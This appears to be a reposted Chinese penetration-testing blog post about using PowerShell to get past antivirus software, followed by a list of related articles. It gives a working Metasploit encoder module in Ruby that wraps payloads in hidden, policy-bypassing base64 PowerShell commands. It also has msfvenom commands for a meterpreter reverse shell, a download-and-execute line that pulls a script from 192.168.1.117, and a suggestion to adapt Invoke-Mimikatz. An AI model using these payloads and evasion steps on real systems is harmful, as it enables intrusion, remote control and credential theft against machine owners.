Windows PowerShell的强大,并且内置,在渗透过程中,也让渗透变得更加有趣。而安全软件的对抗查杀也逐渐开始针对powershell的一切行为。
在https://technet.microsoft.com,看到文档如下:

Windows PowerShell是以.NET Framework技术为基础,并且与现有的WSH保持向后兼容,因此它的脚本程序不仅能访问.NET CLR,也能使用现有的COM技术。同时也包含了数种系统管理工具、简易且一致的语法,提升管理者处理,常见如登录数据库、WMI。Exchange Server 2007以及System Center Operations Manager 2007等服务器软件都将内置Windows PowerShell。
Here is a listing of the available startup parameters: 
 
-Command Specifies the command text to execute as though it were typed at the PowerShell command prompt. 
 
-EncodedCommand Specifies the base64-encoded command text to execute. 
 
-ExecutionPolicy Sets the default execution policy for the console session. 
 
-File Sets the name of a script fi le to execute. 
 
-InputFormat Sets the format for data sent to PowerShell as either text string or serialized XML. The default format is XML. Valid values are text and XML. 
 
-NoExit Does not exit after running startup commands. This parameter is useful when you run PowerShell commands or scripts via the command prompt (cmd.exe). 
 
-NoLogo Starts the PowerShell console without displaying the copyright banner. 
 
-Noninteractive Starts the PowerShell console in non-interactive mode. In this mode, PowerShell does not present an interactive prompt to the user. 
 
-NoProfile Tells the PowerShell console not to load the current user’s profile. 
 
-OutputFormat Sets the format for output as either text string or serialized XML. The default format is text. Valid values are text and XML. 
 
-PSConsoleFile Loads the specified Windows PowerShell console file. Console files end with the .psc1 extension and can be used to ensure that specific snap-in extensions are loaded and available. You can create a console file using Export-Console in Windows PowerShell. 
 
-Sta Starts PowerShell in single-threaded mode. 
 
-Version Sets the version of Windows PowerShell to use for compatibility, such as 1.0. 
 
-WindowStyle Sets the window style as Normal, Minimized, Maximized, or Hidden. The default is Normal. 

针对它的特性,本地测试:
Add-Type -AssemblyName PresentationFramework;[System.Windows.MessageBox]::Show('Micropoor')

上文所说,越来越多的杀软开始对抗,powershell的部分行为,或者特征。以msfvenom为例,生成payload
 
micropoor.ps1不幸被杀
针对powershell特性,更改payload
 
接下来考虑的事情是如何把以上重复的工作变成自动化,并且针对powershell,DownloadString特性,设计出2种payload形式:
(1)目标机出网
(2)目标机不出网

并且根据需求,无缝连接Metasploit。

根据微软文档,可以找到可能对以上有帮助的属性,分别为:
WindowStyle
NoExit
EncodedCommand
exec

自动化实现如下:

#       copy base64.rb to metasploit-framework/embedded/framework/modules/encoders/powershell.If powershell is empty,mkdir powershell.
# E.g
# msf encoder(powershell/base64) > use exploit/multi/handler
# msf exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
# payload => windows/x64/meterpreter/reverse_tcp
# msf exploit(multi/handler) > exploit # msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=xx -f psh-reflection --arch x64 --platform windows | msfvenom -e powershell/base64 --arch x64 --platform windows. # [*] Started reverse TCP handler on xx.1xx.xx.xx:xx class MetasploitModule < Msf::Encoder
Rank = NormalRanking def initialize
super(
'Name' => 'Powershell Base64 Encoder',
'Description' => %q{
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=xx -f psh-reflection --arch x64 --platform windows | msfvenom -e powershell/base64 --arch x64 --platform windows.
},
'Author' => 'Micropoor',
'Arch' => ARCH_CMD,
'Platform' => 'win') register_options([
OptBool.new('payload', [ false, 'Use payload ', false ]),
OptBool.new('x64', [ false, 'Use syswow64 powershell', false ])
]) end def encode_block(state, buf)
base64 = Rex::Text.encode_base64(Rex::Text.to_unicode(buf))
cmd = ''
if datastore['x64']
cmd += 'c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe '
else
cmd += 'powershell.exe '
end
if datastore['payload']
cmd += '-windowstyle hidden -exec bypass -NoExit '
end
cmd += "-EncodedCommand #{base64}"
end
end # if use caidao
# execute echo powershell -windowstyle hidden -exec bypass -c \""IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.117/xxx.ps1');\"" |msfvenom -e x64/xor4 --arch x64 --platform windows
# xxx.ps1 is msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=xx -f psh-reflection --arch x64 --platform windows | msfvenom -e powershell/base64 --arch x64 --platform windows.

  

拷贝  powershell_base64.rb 文件到 /usr/share/metasploit-framework/embedded/framework/modules/encoders/powershell 目录下      如果powershell is 空,请新建powershell目录

参数 payload 选择是否使用Metasploit payload,来去掉powershell的关键字。

例1(目标出网,下载执行):

echo powershell -windowstyle hidden -exec bypass -c \""IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.117/micropoor.ps1');\"" |msfvenom -e powershell/base64 --arch x64 --platform windows

例2(目标不出网,本地执行)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.117 LPORT=8080 -f psh-reflection --arch x64 --platform windows | msfvenom -e powershell/base64 --arch x64 --platform windows payload
注:加payload参数
 
更多有趣的实验:

把例1的down内容更改为例2,并且去掉payload参数。来减小payload大小。

更改Invoke-Mimikatz.ps1等。

 
 

from:
https://technet.microsoft.com/en-us/library/ff629472.aspx

 
 
 
 

关于Powershell对抗安全软件(转)的更多相关文章

  1. Chocolatey 简介(软件自动化管理工具)

    一.Chocolatey 管理Windows软件的明智方法 1.建立在技术的无人值守安装和PowerShell.建立在技术的无人值守安装和PowerShell. 2.轻松管理Windows软件的所有方 ...

  2. 第三章 传奇的开始--Delphi(附读书笔记)

    第三章 传奇的开始--Delphi "是惊世之作的Delphi让Borland重新站了起来,没有当初的Delphi,就没有今日的Borland!" "是Turbo Pas ...

  3. Nmap绕过防火墙&脚本的使用

    Nmap是用于端口扫描,服务检测,甚至是漏洞扫描等多种功能的强大工具.Nmap从入门到高级覆盖了许多基础的概念和命令,在这篇文章的第二部分,我将提及Nmap一些高级的技术. 防火墙和入侵检测系统(ID ...

  4. windows 下搭建 git 服务器 gogs

    本文基于 windows7 64位 搭建 gogs gogs 官方文档地址:https://gogs.io/docs软件下载地址:https://dl.gogs.io/ 环境要求 数据库(选择以下一项 ...

  5. 黑暗幽灵(DCM)木马详细分析

    黑暗幽灵(DCM)木马详细分析 0x00 背景 只要插上网线或连上WIFI,无需任何操作,不一会儿电脑就被木马感染了,这可能吗?近期,腾讯反病毒实验室拦截到一个“黑暗幽灵”木马的新变种,该木马功能强大 ...

  6. Veeam对于新病毒防御的建议

    Veeam对于新病毒防御的建议 前言 勒索软件GandCrab 上周末,在我们大家晒娃和欢度六一的时候.勒索软件分发平台 GandCrab 宣布将在一个月内关闭其RaaS(勒索软件即服务)业务平台.据 ...

  7. Telegraf和Grafana监控多平台上的SQL Server

    问题 SQL Server在很多企业中部署在多个平台上(Windows,Linux和Container),需要一种能支持多平台的解决方案用于收集和展示相关的监控指标. 我选择企业中比较流行的监控展示工 ...

  8. 2018-2019-2 20165330《网络对抗技术》Exp10 Final 基于PowerShell的渗透实践

    目录 实验内容 实验步骤 实验中遇到的问题 实验总结与体会 实验内容 PoweShell简介 PowerShell入门学习 PowerShell渗透工具介绍 相关渗透实践分析 ms15-034之Pow ...

  9. windows 2008 服务器优化:停powershell,卸载不相干软件,开启防火墙

    windows 2008 作为 全录 的服务器,经常cpu达到100%,查看是powershell.exe占cpu有98%.影响 全录 软件进行电话录音.所以想禁止powershell.exe程序启动 ...

随机推荐

  1. Elasticsearch的停用词(stopwords)

    1.问题 在使用搜索引擎(Elasticsearch或Solr)作为应用的后台搜索平台的时候,会遇到停用词(stopwords)的问题. 在信息检索中,停用词是为节省存储空间和提高搜索效率,处理文本时 ...

  2. JavaScript学习笔记(八)—— 补

    第九章 最后的补充 一.Jquery简单阐述 JQuery是一个JavaScript库,旨在减少和简化处理DOM和添加视觉效果的JavaScript代码:使用时必须得添加库路径:学习路径:http:/ ...

  3. Netty源码分析第5章(ByteBuf)---->第5节: directArena分配缓冲区概述

    Netty源码分析第五章: ByteBuf 第五节: directArena分配缓冲区概述 上一小节简单分析了PooledByteBufAllocator中, 线程局部缓存和arean的相关逻辑, 这 ...

  4. 黑客攻防web安全实战详解笔记

    如有不足,欢迎指出,谢谢! ----------------------------------------- 1,url传值 GET传值:其传递的值会附加到url上  POST传值:其传递的值不会加 ...

  5. dos2unix命令详解

    基础命令学习目录首页 原文链接:https://blog.csdn.net/leedaning/article/details/53024290 使用git 的时候碰到git将unix换行符转换为wi ...

  6. Spring Bean注册解析(二)

           在上文Spring Bean注册解析(一)中,我们讲解了Spring在注册Bean之前进行了哪些前期工作,以及Spring是如何存储注册的Bean的,并且详细介绍了Spring是如何解析 ...

  7. Scrum Meeting 13 -2014.11.19

    最近数据库和编译的实验课也开始了,大家晚上的时间直接被砍掉了大部分. 希望大家能顺利完成项目吧.剩下时间也不多了,如果程序还存在一些特别的问题和需要优化修改的地方也应该考虑留到下阶段进行了. Memb ...

  8. 编程之法section II: 2.1 求最小的k个数

    ====数组篇==== 2.1 求最小的k个数: 题目描述:有n个整数,请找出其中最小的k个数,要求时间复杂度尽可能低. 解法一: 思路:快排后输出前k个元素,O(nlogn). writer: zz ...

  9. 守护线程(Daemon Thread)

    在Java中有两类线程:用户线程 (User Thread).守护线程 (Daemon Thread). 所谓守护 线程,是指在程序运行的时候在后台提供一种通用服务的线程,比如垃圾回收线程就是一个很称 ...

  10. 消息队列第二篇:MessageQueue实战(课程订单)

    上一篇:消息队列介绍 本篇一开始就上代码,主要演练MessageQueue的实际应用.用户提交订单(消息发送),系统将订单发送到订单队列(Order Queue)中:订单管理系统(消息接收)端,监听消 ...